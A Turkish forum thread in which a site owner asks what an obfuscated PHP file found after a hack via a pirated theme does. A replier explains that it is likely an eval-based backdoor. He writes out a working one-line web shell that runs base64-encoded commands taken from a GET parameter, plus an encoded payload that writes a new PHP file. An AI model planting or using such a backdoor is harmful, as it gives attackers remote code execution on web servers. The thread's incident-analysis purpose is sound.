[PHP] Bu Kod Ne Yapıyor?
-
merhaba
arkadaşın sitesi hacklenmişte, warez temadan. atılan dosyalardan birinde bu var. sürekli bu dosyaya get istekleri gelmiş ama kodun ne yaptığını çözemedim. unphp.net te base64 u falan cozdum ama gelen kod yine anlamsız.
kod bu ;
$ScS4kxX = 'NCBF85kyMdXU'; $vDgOC995Un3qGMnW = $NdM3vKoATfmq = $BtO9Uolk2J1gB1D7 = $LxborFF5XMF00 = $okL3BRm = $JKvwmmZL = $t9LrhZk = $zcZ3GD0As3 = $e0nQKVVcZP04jNKn = $Qk4dDe9Yo4hqYg = $JNGrg2znFJDL = $QYqsVVd = $U0Qn9K4C = $ZHCwuT6y = $MrulkVwZ = $ETLsCJC = $Ygf6SIfJr5BG = $dOC1ncYhUO = $MJ6g5QHP0WeT = $Y7oz4kK = $Uhhby0UYe4TPxVw = $uRk6ISujeNXeWOIV = $mKqYrt6hp2BEIq = $Qy3Wu1kJLNm = $DU0DXGMhuFKewrI = __LINE__ == 740 + 466 - 1202 ? base64_decode("YmFzZTY0X2RlY29kZQ==") : 'YsgBAE8Bm'; $OC1kVYt0 = $W9GNoLjlhdZ7 = $lRdXClXnU = $oyAqNwrOA1P3XQn = $oTcAX5ywtK4k = $HO9i0QM = $HxWesggYUK3j0Ti1 = $WsFdfTLisB = $spH8sNLR8nsX6v = $q1FIPqW3fjNqjDj = $y1oi8nZdGmG = $YiBIweCegGyRm = $ZSCYfQ4GD = $QwOEEALgY9fyNh = $Ophge67K9N2 = $OmxhSldgfZ7x5j = $DOuBWH5 = $Tr1K6yA9k90GX = $eSee8iAHrp7DjzS = $ZpVHlIhuW1D = $JcR8MjZ91 = $JUUXAGXFkvy359 = $kyI06kmlcH = $v9royfcz = $ISTupLNJUvMZ2PE = __LINE__ == 871 - 1474 + 608 ? base64_decode("Z3ppbmZsYXRl") : 'O8xlgn';
-
Şifrelenmiş çözmeden bişi diyemem sil gitsin
-
nevorapat bunu yazdı
merhaba
arkadaşın sitesi hacklenmişte, warez temadan. atılan dosyalardan birinde bu var. sürekli bu dosyaya get istekleri gelmiş ama kodun ne yaptığını çözemedim. unphp.net te base64 u falan cozdum ama gelen kod yine anlamsız.
kod bu ;
$ScS4kxX = 'NCBF85kyMdXU'; $vDgOC995Un3qGMnW = $NdM3vKoATfmq = $BtO9Uolk2J1gB1D7 = $LxborFF5XMF00 = $okL3BRm = $JKvwmmZL = $t9LrhZk = $zcZ3GD0As3 = $e0nQKVVcZP04jNKn = $Qk4dDe9Yo4hqYg = $JNGrg2znFJDL = $QYqsVVd = $U0Qn9K4C = $ZHCwuT6y = $MrulkVwZ = $ETLsCJC = $Ygf6SIfJr5BG = $dOC1ncYhUO = $MJ6g5QHP0WeT = $Y7oz4kK = $Uhhby0UYe4TPxVw = $uRk6ISujeNXeWOIV = $mKqYrt6hp2BEIq = $Qy3Wu1kJLNm = $DU0DXGMhuFKewrI = __LINE__ == 740 + 466 - 1202 ? base64_decode("YmFzZTY0X2RlY29kZQ==") : 'YsgBAE8Bm'; $OC1kVYt0 = $W9GNoLjlhdZ7 = $lRdXClXnU = $oyAqNwrOA1P3XQn = $oTcAX5ywtK4k = $HO9i0QM = $HxWesggYUK3j0Ti1 = $WsFdfTLisB = $spH8sNLR8nsX6v = $q1FIPqW3fjNqjDj = $y1oi8nZdGmG = $YiBIweCegGyRm = $ZSCYfQ4GD = $QwOEEALgY9fyNh = $Ophge67K9N2 = $OmxhSldgfZ7x5j = $DOuBWH5 = $Tr1K6yA9k90GX = $eSee8iAHrp7DjzS = $ZpVHlIhuW1D = $JcR8MjZ91 = $JUUXAGXFkvy359 = $kyI06kmlcH = $v9royfcz = $ISTupLNJUvMZ2PE = __LINE__ == 871 - 1474 + 608 ? base64_decode("Z3ppbmZsYXRl") : 'O8xlgn';
Muhtemeln bir yerde eval komutu vardir hocam. GET metodu ilede calistirmasi gereken komutu gonderiyorlar php dosyasina.
Gonderdigin kodda 3 satri var...
Ikinci satir eger php kodunun 4uncu satirindaysa $vDgOC995Un3qGMnW degiskeni "base64_decode" degeri aliyor.
Ucuncu satir eger kodun 5inci satirindaysa $OC1kVYt0 desikeni "gzinflate" degeri aliyor.
Kisacasi soyle bir sey dusun
if(__LINE__ == 4) { //base64_decode -- encode edilmis metni decode eder // burada = "base64_decode" $vDgOC995Un3qGMnW = base64_decode("YmFzZTY0X2RlY29kZQ=="); } else { $vDgOC995Un3qGMnW = 'YsgBAE8Bm'; } if(__LINE__ == 5) { //gzinflate -- sikistirilmis metni uncompressed yapar // burada = gzinflate $OC1kVYt0 = base64_decode("Z3ppbmZsYXRl"); } else { $OC1kVYt0 = 'O8xlgn'; }
Yazan kisi dosyaya encoded edilmis PHP kodu gonderiyor ve direkt sayfa uzerinde base64_decode ve gzinflate kullanarak eval komutu ile calistiriyor. eval komutuna $_GET ile direkt komut atamak oyle saniyorum ki olmuyor cunku end of file hatasi aliyorsun. Ama bu iki metodu kullanarak mis gibi kodunu eval komuituna atiyor ve calistiriyor
Ornek vereyim
Simdi soyle dusun... Bizim bir adresimiz olsun www.adres.com/dosya.php Calistirmak istedigimiz kodda echo "merhaba"; komutu olsun...Bu komutun base64 encoded hali ZWNobyAibWVyaGFiYSI7 dir...
dosya.php icine :
eval(base64_decode($_GET['komut']));
yazarsan URLi su sekilde degistirince www.adres.com/dosya.php?komut=ZWNobyAibWVyaGFiYSI7
php senin "komut" degiskenin atadigin encoded komutu decode edip calistirir ve ekrana merhaba yazdirir.
Bundan sonrasi serverin ayarlari ve sana kalmis oluyor
EDIT :
Mesela
komut olarak
JGRvc3lhID0gZm9wZW4oImtvZC5waHAiLCAidyIpIDsgJGtvZD0nPD9waHAgZWNobyAic2VsYW0iOyA/Pic7IGZ3cml0ZSgkZG9zeWEsICRrb2QpOw==
verirsen sunu calistirir :
$dosya = fopen("kod.php", "w") ;
$kod='<?php echo "selam"; ?>';
fwrite($dosya, $kod);
-
dhmm bunu yazdınevorapat bunu yazdı
merhaba
arkadaşın sitesi hacklenmişte, warez temadan. atılan dosyalardan birinde bu var. sürekli bu dosyaya get istekleri gelmiş ama kodun ne yaptığını çözemedim. unphp.net te base64 u falan cozdum ama gelen kod yine anlamsız.
kod bu ;
$ScS4kxX = 'NCBF85kyMdXU'; $vDgOC995Un3qGMnW = $NdM3vKoATfmq = $BtO9Uolk2J1gB1D7 = $LxborFF5XMF00 = $okL3BRm = $JKvwmmZL = $t9LrhZk = $zcZ3GD0As3 = $e0nQKVVcZP04jNKn = $Qk4dDe9Yo4hqYg = $JNGrg2znFJDL = $QYqsVVd = $U0Qn9K4C = $ZHCwuT6y = $MrulkVwZ = $ETLsCJC = $Ygf6SIfJr5BG = $dOC1ncYhUO = $MJ6g5QHP0WeT = $Y7oz4kK = $Uhhby0UYe4TPxVw = $uRk6ISujeNXeWOIV = $mKqYrt6hp2BEIq = $Qy3Wu1kJLNm = $DU0DXGMhuFKewrI = __LINE__ == 740 + 466 - 1202 ? base64_decode("YmFzZTY0X2RlY29kZQ==") : 'YsgBAE8Bm'; $OC1kVYt0 = $W9GNoLjlhdZ7 = $lRdXClXnU = $oyAqNwrOA1P3XQn = $oTcAX5ywtK4k = $HO9i0QM = $HxWesggYUK3j0Ti1 = $WsFdfTLisB = $spH8sNLR8nsX6v = $q1FIPqW3fjNqjDj = $y1oi8nZdGmG = $YiBIweCegGyRm = $ZSCYfQ4GD = $QwOEEALgY9fyNh = $Ophge67K9N2 = $OmxhSldgfZ7x5j = $DOuBWH5 = $Tr1K6yA9k90GX = $eSee8iAHrp7DjzS = $ZpVHlIhuW1D = $JcR8MjZ91 = $JUUXAGXFkvy359 = $kyI06kmlcH = $v9royfcz = $ISTupLNJUvMZ2PE = __LINE__ == 871 - 1474 + 608 ? base64_decode("Z3ppbmZsYXRl") : 'O8xlgn';
Muhtemeln bir yerde eval komutu vardir hocam. GET metodu ilede calistirmasi gereken komutu gonderiyorlar php dosyasina.
Gonderdigin kodda 3 satri var...
Ikinci satir eger php kodunun 4uncu satirindaysa $vDgOC995Un3qGMnW degiskeni "base64_decode" degeri aliyor.
Ucuncu satir eger kodun 5inci satirindaysa $OC1kVYt0 desikeni "gzinflate" degeri aliyor.
Kisacasi soyle bir sey dusun
if(__LINE__ == 4) { //base64_decode -- encode edilmis metni decode eder // burada = "base64_decode" $vDgOC995Un3qGMnW = base64_decode("YmFzZTY0X2RlY29kZQ=="); } else { $vDgOC995Un3qGMnW = 'YsgBAE8Bm'; } if(__LINE__ == 5) { //gzinflate -- sikistirilmis metni uncompressed yapar // burada = gzinflate $OC1kVYt0 = base64_decode("Z3ppbmZsYXRl"); } else { $OC1kVYt0 = 'O8xlgn'; }
Yazan kisi dosyaya encoded edilmis PHP kodu gonderiyor ve direkt sayfa uzerinde base64_decode ve gzinflate kullanarak eval komutu ile calistiriyor. eval komutuna $_GET ile direkt komut atamak oyle saniyorum ki olmuyor cunku end of file hatasi aliyorsun. Ama bu iki metodu kullanarak mis gibi kodunu eval komuituna atiyor ve calistiriyor
Ornek vereyim
Simdi soyle dusun... Bizim bir adresimiz olsun www.adres.com/dosya.php Calistirmak istedigimiz kodda echo "merhaba"; komutu olsun...Bu komutun base64 encoded hali ZWNobyAibWVyaGFiYSI7 dir...
dosya.php icine :
eval(base64_decode($_GET['komut']));
yazarsan URLi su sekilde degistirince www.adres.com/dosya.php?komut=ZWNobyAibWVyaGFiYSI7
php senin "komut" degiskenin atadigin encoded komutu decode edip calistirir ve ekrana merhaba yazdirir.
Bundan sonrasi serverin ayarlari ve sana kalmis oluyor
EDIT :
Mesela
komut olarak
JGRvc3lhID0gZm9wZW4oImtvZC5waHAiLCAidyIpIDsgJGtvZD0nPD9waHAgZWNobyAic2VsYW0iOyA/Pic7IGZ3cml0ZSgkZG9zeWEsICRrb2QpOw==
verirsen sunu calistirir :
$dosya = fopen("kod.php", "w") ;
$kod='';
fwrite($dosya, $kod);
abi hiç bi yerde $_GET yok, nasıl alııyo ki bunu. bide gelen requestlerde bu kodun olduğu dosyaya hep dosya.php?upuk=asdfsd seklinde max 3/4 haneli bi parametre gelmis.
-
nevorapat bunu yazdı
abi hiç bi yerde $_GET yok, nasıl alııyo ki bunu. bide gelen requestlerde bu kodun olduğu dosyaya hep dosya.php?upuk=asdfsd seklinde max 3/4 haneli bi parametre gelmis.
Iste oradaki upuk degiskenini okuyarak yapiyor istedigini. Biraz incele bakalim upuk. varmi dosyaynin bir tarafinda. Ayriva .htaccess dosyasinada bir goz at. Iceride ekledigi ekstra dosya olmadigina emin misin ?